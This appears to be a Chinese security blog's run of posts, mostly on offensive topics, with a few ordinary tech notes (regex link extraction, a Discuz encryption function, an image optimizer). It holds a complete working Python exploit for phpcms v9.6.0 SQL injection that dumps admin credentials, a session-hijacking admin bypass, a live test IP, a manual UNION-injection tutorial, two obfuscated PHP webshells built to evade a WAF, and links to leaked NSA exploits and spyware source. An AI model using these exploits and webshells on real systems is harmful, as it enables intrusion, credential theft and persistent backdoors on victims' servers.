phpcms_v9.6.0_sql注入与exp 渗透测试
phpcms_v9.6.0_sql注入分析
可疑的函数
localhost/phpcms/modules/attachment/attachments.php文件的第241GET提交src变量带上了safe_relace函数,现在我们跟入这个该死的过滤函数看看它到底在搞什么鬼....*/
2.过滤函数剖析和绕过
localhost/phpcms/libs/functions/global.func.php文件的63行开始可以看到此处将传入的%27和%2527都进行删除处理也就是还没传入数据库前就已经被该死的程序吃了,但是在67行看到他还吃了*这样我们就有办法了也就是传入%*27程序吃掉星号后%27就会被传入。*/
3.src变量到底去哪了
/*这里不做截图请回到第一步的截图查看,在241行代码src传入arr数组后在243行被json_encode函数加密为json格式后传入json_str数组,然后在244行代码又将json加密为cookie。在这里我做个大胆的假设src存在注入那么我们要传入参数:src=%*27 updatexml(1,concat(1,(user())),1)%23;那么我们传入的参数将会被json加密后最终成为了:{src:%*27 updatexml(1,concat(1,(user())),1)%23};再然后就是cookie加密这里不做计算cookie加密值需要的同学自己echo,假设暂且到这,它的最终这些动作都被赋值为swfupload_json函数。到此src变量故事以及完结请看下一章。*/
down.php的decode成全了我
/*在localhost/phpcms/modules/content/down.php的第14行代码将a_k变量进行了decode操作这样子我们把刚刚在src进行加密的SQL传入a_k他就会进行解密还原回json,17行 将json字符串解析成变量 -> parse_str 以 & 区分,将字符串解析成3个变量最后传入SQL为:{“aid":1,"src":"&id=%27 updatexml(1,concat(1,(user)),1)#&m=1&f=haha&modelid=2&catid=7&”,”filename”:””};此处可以看到之前%*27的*没了因为已经被他妈的狗比安全函数吃了*。最后我们看在第26行代码将id传入SQL字段id既然这样那就OK了我们尝试还原。*/
phpcms_v9.6.0_sql注入还原
1.访问/index.php?m=wap&c=index&a=init&siteid=1获取一个cookie值传入该死的src那块操作否则会没有身份
2.把这个傻逼cookie的值复制下来以POST传入userid_flash变量访问/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26不要问我URL编码里面是什么东西我会告诉你那是SQL的Payload
3.上一步我们已经获取到了通过json在通过cookie加密的SQL了因为他返回的cookie就是已经加密的SQLPayload现在我们传入到a_k变量看看到底发生了什么?
网上这个文档传的很快
作者我也不知道是谁
大家都把版权改成自己的
我也是醉了
有知情人士可留言~给人家一个版权
下面是EXP:
import requests,sys,urllib url = sys.argv[1] print 'Phpcms v9.6.0 SQLi Exploit Code By Luan' sqli_prefix = '%*27an*d%20' sqli_info = 'e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x6c75616e24,us*er(),0x3a,ver*sion(),0x6c75616e24))x))' sqli_password1 = 'e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x6c75616e24,username,0x3a,password,0x3a,encrypt,0x6c75616e24) fr*om ' sqli_password2 = '_admin li*mit 0,1)x))' sqli_padding = '%23%26m%3D1%26f%3Dwobushou%26modelid%3D2%26catid%3D6' setp1 = url + '/index.php?m=wap&a=index&siteid=1' cookies = {} for c in requests.get(setp1).cookies: if c.name[-7:] == '_siteid': cookie_head = c.name[:6] cookies[cookie_head+'_userid'] = c.value cookies[c.name] = c.value print '[+] Get Cookie : ' + str(cookies) setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_info, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding for c in requests.get(setp2,cookies=cookies).cookies: if c.name[-9:] == '_att_json': sqli_payload = c.value print '[+] Get SQLi Payload : ' + sqli_payload setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload html = requests.get(setp3,cookies=cookies).content print '[+] Get SQLi Output : ' + html.split('luan$')[1] table_prefix = html[html.find('_download_data')-2:html.find( '_download_data')] print '[+] Get Table Prefix : ' + table_prefix setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_password1, safe='qwertyuiopasdfghjklzxcvbnm*') + table_prefix + urllib.quote_plus(sqli_password2, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding for c in requests.get(setp2,cookies=cookies).cookies: if c.name[-9:] == '_att_json': sqli_payload = c.value print '[+] Get SQLi Payload : ' + sqli_payload setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload html = requests.get(setp3,cookies=cookies).content print '[+] Get SQLi Output : ' + html.split('luan$')[1]
exp也是别人分享给我的
看起来作者应该是luan
测试地址:
122.9.16.209
成功截图:
不过呢,众所周知
phpcms的密文特别难解密
所以有个配合使用的方法
通过sql注入漏洞读取数据库信息
但是不能破解密码的情况下
可以绕过后台验证
phpcms数据库中表v9_session
保存着管理员登录的信息
而且字段sessionid保存着就是
已经登录管理后台的PHPSESSID
可以通过sql注入读取到这个值
并写入到自己的浏览器中。
直接访问后台地址:
/index.php?m=admin&c=index&a=public_menu_left
将数据库中的sessionid信息带入!
相关文章网上也有
最后,我还是觉得这个漏洞挺鸡肋的
至于哪里鸡肋请看官细细体会
还有几个更牛逼的漏洞也许
过几天就会有人放出来了
反正我不做第一个吃螃蟹的人了
怕被打死~
原文地址:https://zhuanlan.zhihu.com/p/26263513
PS:很多政府机关/事业单位都是phpcms,我批量检测里面有很多都中招了,赶紧升级吧!阿西吧...据说二月份就出来了...
号称全球最权威的监控软件 FlexiSPY 被黑,相关源码、编译、文档被泄漏 业界新闻
号称全球最权威的监控软件 FlexiSPY 被黑,相关源码、编译、文档被泄漏,
在4月22日,由 @fleximinx 储存整理.
Source files:
bb_cyclops.zip d84f692b12c732e14ad463b4d7d0ec34 from Tweet Mega : files in 2012-01-11_v.1.03.2 folder
Gamma.zip cff15a5bad15118a7e43c1c3f0d13df1 from Tweet Mega : Gamma Symbian malware certs/signatures in Gamma folder
bin.zip aa735cb779ce9089665eb821f596a7eb from Tweet Mega : binaries of apps in bin folder
omni.zip 4677a66eab2d44e410dfb36da64705c5 from Tweet Mega : source code of Android app in 1.00.1 folder
android_cyclops.zip 5c80bcb6576d5c58143ea48ee43de5f8 from Tweet Mega : source code of Android Cyclops in Cyclops -1.00.4 folder
iphone_phoenix_4.9.1.zip 25b7416a26624ffec76b3197f84f0d59 Tweet Mega : source code of IOS app in FlexiSPY Phoenix 4.9.1 folder
github备份地址: https://github.com/Mrxn-code/flexidie
其实 FlexiSPY 就是个灰色地带的“间谍”软件。
FlexiSPY 官网有中文页面,可以细细了解下它在干什么:
https://www.flexispy.com/zh/
小计一个正则匹配提取实例之从网页中提取所有域内链接 技术文章
比如某个网站包含如下的内容:
<select name="select7" class="textbox" style="width: 200px;" onchange="MM_jumpMenu('parent',this,0)"> <option selected="selected">---------〖校内机构〗---------</option> <option>————管理机构————</option> <option value="/dzbgs/">党政办公室</option> <option value="/xcb/">党委组织宣传部</option> <option value="/rsc/">人事处</option> <option value="/jwc/">教务处</option> <option value="/xsc/">学生处(党委学工部)</option> <option value="/zsxx/">招生办公室</option> <option value="/jyb/">就业指导办公室</option> <option value="/cwc/">财务处</option> <option value="/zcc/">资产管理处</option> <option value="/wsc/">国际合作交流处</option> <option value="/kyc/">科研处</option> <option value="/dds/">督导室</option> <option value="/zlpg/">质量监控与评估中心</option> <option value="/bwc/">保卫处(武装部、安全稳定办公室)</option> <option value="/hq/">后勤服务公司</option> <option>————教学机构————</option> <option value="/yyyyxy/">英语语院</option> <option value="/dfyyyxy/">东方语学院</option> <option value="/yayyxy/">西方语学院</option> <option value="/gjsxy/">国际商学院</option> <option value="/gjwhjlxy/">文学与新闻传播学院</option> <option value="/gsgl/">管理学院</option> <option value="/ysxy/">艺术学院</option> <option value="/yyxy/">音乐学院</option> <option value="/szjyb/">思想政治理论教研部</option> <option value="/tyb/">体育部</option> <option value="/jxjyxy/">继续教育学院</option> <option>————教辅机构————</option> <option value="/tsg/">图书馆</option> <option value="/net/">现代教育技术中心</option> <option>————教辅机构————</option> <option value="/gh/">工会</option> <option value="/tw/">团委</option> </select>
我们要提取你面的所有的内域的网址,就是value后面的值:"/tw/",手工不说,最为原始的方法,体力活我们要尽量少干,正则走起啊!
使用正则提取两个双引号之间的内容,正则表达式很简单:
/(.*)[A-Z-a-z]/
这样我们提取出来了,可是没有加上域名啊,如何是好?答案就是继续正则啊,骚男不要犹豫,对于网页内内容,没有正则提取不了的(先吹个牛逼-_-|hh ):
(.?^/)
直接批量替换每行的第一个斜杠为域名不就OK了,上图域名结尾少了个斜杠.别跳坑里了!效果如下,就好了,前前后不到一分钟搞定,收工,比我写这篇文章还快!
本来不想写的,这么久了没发文章,手痒痒,凑个数!仅当笔记.
http://www.xxxx.com/dzbgs/ http://www.xxxx.com/xcb/ http://www.xxxx.com/rsc/ http://www.xxxx.com/jwc/ http://www.xxxx.com/xsc/ http://www.xxxx.com/zsxx/ http://www.xxxx.com/jyb/ http://www.xxxx.com/cwc/ http://www.xxxx.com/zcc/ http://www.xxxx.com/wsc/ http://www.xxxx.com/kyc/ http://www.xxxx.com/dds/ http://www.xxxx.com/zlpg/ http://www.xxxx.com/bwc/ http://www.xxxx.com/hq/ http://www.xxxx.com/yyyyxy/ http://www.xxxx.com/dfyyyxy/ http://www.xxxx.com/yayyxy/ http://www.xxxx.com/gjsxy/ http://www.xxxx.com/gjwhjlxy/ http://www.xxxx.com/gsgl/ http://www.xxxx.com/ysxy/ http://www.xxxx.com/yyxy/ http://www.xxxx.com/szjyb/ http://www.xxxx.com/tyb/ http://www.xxxx.com/jxjyxy/ http://www.xxxx.com/tsg/ http://www.xxxx.com/net/ http://www.xxxx.com/gh/ http://www.xxxx.com/tw/
好了,牛逼吹完了,洗洗睡了.我们下回见,对于不懂得正则可以评论,我可以帮你试试哦!
PS: 牛逼的娃娃们不要乱搞,这是我测试项目的.谢谢!
NSA 方程式组织又被泄了一批好东西,主要是windows的exploit 安全工具
Decrypted content of odd.tar.xz.gpg, swift.tar.xz.gpg and windows.tar.xz.gpg
Downloaded from https://yadi.sk/d/NJqzpqo_3GxZA4 Original post from the #ShadowBrokers https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation
- windows: contains Windows exploits, implants and payloads
- swift: contains operational notes from banking attacks
- oddjob: docs related to the ODDJOB backdoor
相关链接: https://yadi.sk/d/NJqzpqo_3GxZA4 解压密码: Reeeeeeeeeeeeeee
这次的文件有三个目录,分别为“Windows”、“Swift” 和 “OddJob”,包含一堆令人震撼的黑客工具(我们挑几个重要的列举如下):
EXPLODINGCAN 是 IIS 6.0 远程漏洞利用工具
ETERNALROMANCE 是 SMB1 的重量级利用,可以攻击开放了 445 端口的 Windows XP, 2003, Vista, 7, Windows 8, 2008, 2008 R2 并提升至系统权限。
除此之外 ERRATICGOPHER 、ETERNALBLUE 、ETERNALSYNERGY 、ETERNALCHAMPION 、EDUCATEDSCHOLAR、 EMERALDTHREAD 等都是 SMB 漏洞利用程序,可以攻击开放了 445 端口的 Windows 机器。
ESTEEMAUDIT 是 RDP 服务的远程漏洞利用工具,可以攻击开放了3389 端口的 Windows 机器。
FUZZBUNCH 是一个类似 MetaSploit 的漏洞利用平台。
ODDJOB 是无法被杀毒软件检测的 Rootkit 利用工具。
ECLIPSEDWING 是 Windows 服务器的远程漏洞利用工具。
ESKIMOROLL 是 Kerberos 的漏洞利用攻击,可以攻击 Windows 2000/2003/2008/2008 R2 的域控制器。
命名为 Windows 文件夹中的黑客工具适用于较早版本的 WindowsNT、windows 2000、XP、windows 7、windows 8等等。
下面的是我克隆的一份.以作备用,话说,国内的反应速度都好慢....关于exploit的威力,自行测试,反正我试了几个,很满意!哈哈.
https://github.com/Mrxn-code/EQGRP_Lost_in_Translation (不懂的就不要来唧唧歪歪的问这问那,懂的人自然知道)
Discuz 加密解密函数 authcode PHP
<?php /** * $string 明文或密文 * $operation 加密ENCODE或解密DECODE * $key 密钥 * $expiry 密钥有效期 */ function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { // 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙 // 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。 // 取值越大,密文变动规律越大,密文变化 = 16 的 $ckey_length 次方 // 当此值为 0 时,则不产生随机密钥 $ckey_length = 4; // 密匙 // $GLOBALS['discuz_auth_key'] 这里可以根据自己的需要修改 $key = md5($key ? $key : $GLOBALS['discuz_auth_key']); // 密匙a会参与加解密 $keya = md5(substr($key, 0, 16)); // 密匙b会用来做数据完整性验证 $keyb = md5(substr($key, 16, 16)); // 密匙c用于变化生成的密文 $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; // 参与运算的密匙 $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); // 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性 // 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确 $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); // 产生密匙簿 for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } // 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上并不会增加密文的强度 for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } // 核心加解密部分 for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; // 从密匙簿得出密匙进行异或,再转成字符 $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { // substr($result, 0, 10) == 0 验证数据有效性 // substr($result, 0, 10) - time() > 0 验证数据有效性 // substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性 // 验证数据有效性,请看未加密明文的格式 if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { // 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因 // 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码 return $keyc.str_replace('=', '', base64_encode($result)); } } $a = "mrxn.net"; $b = authcode($a, "ENCODE", "abc123"); echo $b."<br/>"; echo authcode($b, "DECODE", "abc123"); ?>
运行效果如下:
4582HxrlipjHXFJ8fCB42AzZN6N0A/S07AFgev8swj1a6Qy/fxhuJFM
mrxn.net
注:因学习需要,转载挡笔记.文章来源于网络.
手工注入之联合查询注入实例 渗透测试
首先找到一个URL
然后尾部添加’,测试一下是否有注入点,
然后输入and 1=1,页面正常返回,可能是存在注入点,
然后输入and 1=2,页面报错,可能存在注入点,因为我输入的1=1和1=2可能被执行,因为1=1为真所以页面正确,1=2为假,所以页面报错。
然后,我们在链接后面添加语句 order by,根据页面返回结栗,来判断站点中的字段数目,最后发现order by 11正常显示,到时12就报错了,说明字段数目是为11。
接下来,在链接后面添加语句 union select 1,2,3,4,5,6,7,8,9,10,from admin (表名),进行联合查询,来暴露可查询的字段编号,如图可见,
最后,根据上一步得到的字段编号,添加语句 union select 1,admin,password,4,5,6,7,8,9,10,11 from admin,把页面上暴露的字段编号换成自己想查询的内容,即可在网页相应位置显示。
注:本文纯属在没有任何waf和程序的过滤条件下,为了明白易懂,所做的教程.如果是有过滤和waf需要适当的调整语句,编码等等,利用火狐的hackbar插件很方便的.如下图(更多的hackbar功能请自行Google):
警惕office出轨,慎点不可描叙的地方 业界新闻
刚看到微步出了报告,感觉也只是冰山一角,这个漏洞最早由卖咖啡和火眼爆出,看nccgroup报告16底就已经出现,近期开始特别活跃起来,有用于rat/rookit/银行木马。
样本会是一个rtf格式的文档,后缀可以是doc等office文档。
一个关键点是攻击者需要搭建一个服务器,通过olelink对象产生的请求可以返回成一个pplication/hta类型,运行脚本完成最终的payload。
因此,样本会具有实时性,黑客如果关闭下载hta的服务器将很难追踪分析到最终的payload。
想了解详情的同学,推荐关注火眼和nccgroup的报告,完整的exploit估计也快公开了~
HP的$_SERVER['HTTP_HOST']获取服务器地址功能详解 PHP
uchome的index文件中的二级域名功能判断,使用了php的$_SERVER['HTTP_HOST'],开始对这个不是很了解,所以百度了一下,发现一篇帖子有点意思,转发过来做个记录。
在php中,我们一般通过$_SERVER['HTTP_HOST']来活得URL中网站的域名或者ip地址。
php手册中的解释如下:
“HTTP_HOST”
当前请求的 Host: 头信息的内容。
一般来说,这样子不会遇到什么问题,在一些常见的php框架中,如PFC3和FLEA也是基于该预定义变量。
然而最近在做的一个项目,程序移交到客户手里测试时,竟然发现程序的跳转总是会出错。
最后找出原因:$_SERVER['HTTP_HOST']在客户的环境里,取得的值总是程序所在的服务器在其局域网内的ip值。
究其原因,是因为,客户的公司通过一台服务器连接至因特网,而我们的程序所在的服务器,是通过域名映射出来的,也就是中间有个“代理”的过程。因此$_SERVER['HTTP_HOST']在这样的环境里,取得的值总是程序所在的服务器在其局域网内的ip值。
最后查了不少资料,在symfony框架里面,找到替代的实现方法:
将
$host = $_SERVER['HTTP_HOST'];
替换成:
$host = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
即可。
注:我刚好遇到这个问题,所以搜索找到了这篇文章,故转载以当作笔记.
原文地址:https://www.oschina.net/question/36370_14769
FileOptimizer-利用谷歌开源的图片算法Guetzli优化你的图片 神器荟萃
先做个简单的介绍,估计很多人不知道这个软件:
FileOptimizer是一种高级文件优化器,具有无损(无质量损失)文件大小压缩功能,可支持的文件类型有:
.3GP, .A, .AAI, .AC, .ACC, .ADP, .AI, .AIR, .APK, .APNG, .APPX, .APR, .ART, .AVS, .BAR, .BMP, .BPL, .BSZ, .CBT, .CBZ, .CDR, .CDT, .CHI, .CHM, .CHQ, .CHS, .CHW, .CPL, .CSL, .CSS, .DB, .DCX, .DEB, .DES, .DIB, .DLL, .DOC, .DOCM, .DOCX, .DOT, .DOTM, .DOTX, .DRV, .DWF, .DWFX, .EASM, .EML, .EMLX, .EPDF, .EPRT, .EPUB, .EXE, .FAX, .FB2, .FDF, .FITS, .FLA, .FLAC, .FPX, .FXG, .GALLERY, .GALLERYCOLLECTION, .GALLERYITEM, .GIF, .GRS, .GZ, .HDR, .HRZ, .HTM, .HTML, .ICO, .INK, .IPA, .IPK, .IPSW, .ITA, .ITS, .ITZ, .JAR, .JFI, .JFIF, .JIF, .JNG, .JP2, .JPC, .JPE, .JPEG, .JPG, .JPS, .JS, .JSON, .KML, .KMZ, .KSF, .LIB, .LIT, .LUA, .LUAC, .LXF, .LZL, .M4A, .M4B, .M4P, .M4R, .M4V, .MAX, .MBX, .MCE, .MDB, .MDT, .MDZ, .MHT, .MHTML, .MIC, .MIF, .MIFF, .MIX, .MIZ, .MKA, .MKS, .MKV, .MMIP, .MNG, .MP3, .MP4, .MPD, .MPO, .MPP, .MPT, .MSC, .MSG, .MSI, .MSP, .MST, .MSZ, .MTV, .MTW, .MVZ, .NAR, .NBK, .NOTEBOOK, .O, .OBJ, .OCX, .ODB, .ODF, .ODG, .ODP, .ODS, .ODT, .OEX, .OGA, .OGG, .OGV, .OGX, .OLE, .OLE2, .ONE, .OPT, .OSK, .OST, .OTB, .OXPS, .P7, .PALM, .PBM, .PCC, .PCD, .PCDS, .PCX, .PDB, .PDF, .PFM, .PGM, .PIC, .PICON, .PICT, .PK3, .PNG, .PNM, .PNS, .POTM, .POTX, .PPAM, .PPM, .PPS, .PPSM, .PPSX, .PPT, .PPTM, .PPTX, .PSB, .PSD, .PTIF, .PTIFF, .PUB, .PUZ, .R2SKIN, .RDB, .RFA, .RFT, .RMSKIN, .RTE, .RVT, .S3Z, .SCR, .SGML, .SLDASM, .SLDDRW, .SLDM, .SLDPRT, .SLDX, .SOU, .SPL, .SPO, .STZ, .SUN, .SVG, .SVGZ, .SWC, .SWF, .SYS, .TAR, .TGZ, .THM, .TIF, .TIFF, .VBX, .VCARD, .VCF, .VDX, .VICAR, .VIFF, .VLT, .VSD, .VSS, .VST, .VSX, .VTX, .WAL, .WBA, .WBMP, .WEBP, .WIZ, .WMZ, .WPS, .WSZ, .XAP, .XBM, .XHTML, .XL, .XLA, .XLAM, .XLC, .XLM, .XLS, .XLSM, .XLSX, .XLTM, .XLTX, .XLW, .XML, .XMZ, .XNK, .XPI, .XPM, .XPS, .XSF, .XSL, .XSLT, .XSN, .XWD, .ZIP, STICKYNOTES.SNT, and THUMBS.DB 等格式.
2017年3月16日谷歌新开源了一个图片压缩优化算法Guetzli。这是谷歌官方的博客
FileOptimizer是一个通用文件优化器,它是Guetzli支持的程序之一。
官方网站: http://nikkhokkho.sourceforge.net/static.php?page=FileOptimizer
当然在sourceforge.net也可以下载的: https://sourceforge.net/projects/nikkhokkho/files/FileOptimizer/
下面我就说一下我的使用体会和我觉得大家应该注意的地方:
- 软件分为两中形式的,一个是安装包的gui界面,一个是压缩包形式,直接解压缩修改配置文件就可以使用.
- 第一是安装包的下载地址:链接: https://pan.baidu.com/s/1kV1Dtbx 密码: mrxn
- 压缩包形式的下载地址:链接:https://pan.baidu.com/s/1crMsiE 密码:mrxn
- 不管是安装版的还是压缩包形式的,都要设置才能使用最新的图片压缩算法Guetzli.怎么设置我在下面会讲.
我自己使用的是安装版的,我就讲一下安装版的,压缩包的网上有人已经写了,我就不在重复,我会给出链接的.
当我们安装好之后,打开软件,在菜单栏依次找到Optimize--Options. 然后在弹出的对话框按照我的图片设置就行:
第一个界面的 Do not use recycle bin .意思就是说是否需要保留源文件到回收站中,默认是保留的,你优化完文件觉得不好,想找回源文件就去回收站恢复就行了.当然,在回收站里面是会占用你得内存的,所以如果你觉得没必要保留就把复选框选上,之后优化文件就不会保留源文件到回收站了.
第二个就是在png那个图片那里设置把 Allow lossy optimizations 复选框勾上,默认是没有勾上的.还有就是JPEG的Use arithmetic encoding的复选框勾上.下面把工作界面说一下,看图(新窗口查看高清大图):
下面看我的对比测试,我把我的博客的所有上传文件夹使用zip打包后,大小为136M,我使用FileOptimizer压缩后,大小变为74M,减小了54%.总体的减小不但节约了服务器空间成本,更重要的是每个单个的图片的体积减小可以加快网页的加载速度,提升用户体验.这对站长来说还是比较开心的吧!
而且,他不支持的文件格式他会自动跳过,你不用担心.
说了这么多的优点,来说说他的缺点:
就是处理速度慢,一张1M左右的图片处理会要两三分钟,但是平时的网站图片来说,200-300Kb的需要5-6秒.如果图片比较多,建议网上挂机处理或者是放在远程服务器上挂机处理.但是重要的是:
实测对质量在90或以下的jpg图片,guetzli输出的新图质量不会降低。而实际压缩率能够达到平均压缩率29%。
兼容性比较好,输出的jpeg格式图片通用性非常高。没有webp、sharpp那种协议不兼容的困扰。
在客户端jpeg格式的图片编解码速度比其他私有协议快很多。
下面说一下压缩包的使用方法:
Guetzli不是默认的解码器,因为它并不是无损的,所以要在FileOptimizer中启用Guetzli支持。所以你需要执行以下步骤:
- 在安装路径下打开FileOptimizer[你安装的位数].ini
小编的是
D:\FileOptimizer\FileOptimizer64.ini
2.找到JPEGAllowLossy参数,并将其设置为true。
在26行(Notepad++打开)
3.重启FileOptimizer软件
优化你的图片
小编随便使用了几张图片
最后看见优化效果还是不错的
如何绕过安全狗waf这类的防护软件--PHP过狗一句话实例两枚+过狗详细分析讲解 渗透测试
00x01
目前大多数网站都存在类似安全狗,360主机卫士的防护软件,所以今天咱们来一波虐狗
00x02
下面是我整理的一些免杀的思路:
1.关键字替换
2.组合猜分
3.关键函数替换
4.加解密/编码/解码
5.可变变量
可变变量顾名思义,变量的变量
例:
$a='b';$b='hello world!';echo $$a;
00x03
一句话原型:
一句话原型可以分为以下两部分:
eval() ------> 函数部分
$_POST["ceshi"] ------> 传值部分
00x04
想要绕过安全狗,我们首先要想到它的过滤机制,我做了一番测试,直接放一句话原型上去,会被杀,然而注释掉传值部分就不会被杀,所以我们要混淆
传值部分,函数部分也混淆,让这类防护软件傻傻分不清,从而达到免杀的效果(欢迎各位老表小弟释放出你们的淫荡姿势-_-||)。
00x05
传值方式:
1.$_GET
2.$_POST
3.$_REQUEST
可能会用到的函数:
assert() eval() str_replace()
trim() ltrim() rtrim()
array() rand()
00x06
免杀系列:
//例1: <?php $c = 'w';$w = 'assert'; $a = array(/**/$_REQUEST["ceshi"],/**/$_GET["ceshi"],/**/$_POST["ceshi"],/**/$_FILE["ceshi"],/**/$_COOKIE["ceshi"]); foreach($a as $k => $v){ if($k==$_GET["a"]){//a=0 $$c($v); } } ?> //例2: <?php $a = str_replace('c','',trim('ssscacssss','s').ltrim('aaascc','a').rtrim('ccsbbbbb','b').trim('vvvvcecvvvvvv','v').trim('sssscrcssss','s').ltrim('aaaactc','a')); $b = array('ccc',/**/$_POST["w"],/**/$_REQUEST["w"]); foreach($b as $k => $v){ if($k == rand($_GET["a"],$_GET["b"])){//a=1&b=2 $a($v); } } ?>
下面配上过狗的截图,昨天新鲜出炉的,欢迎食用.(请点击图片浏览高清原图):
今天就写到这里,我们下次见!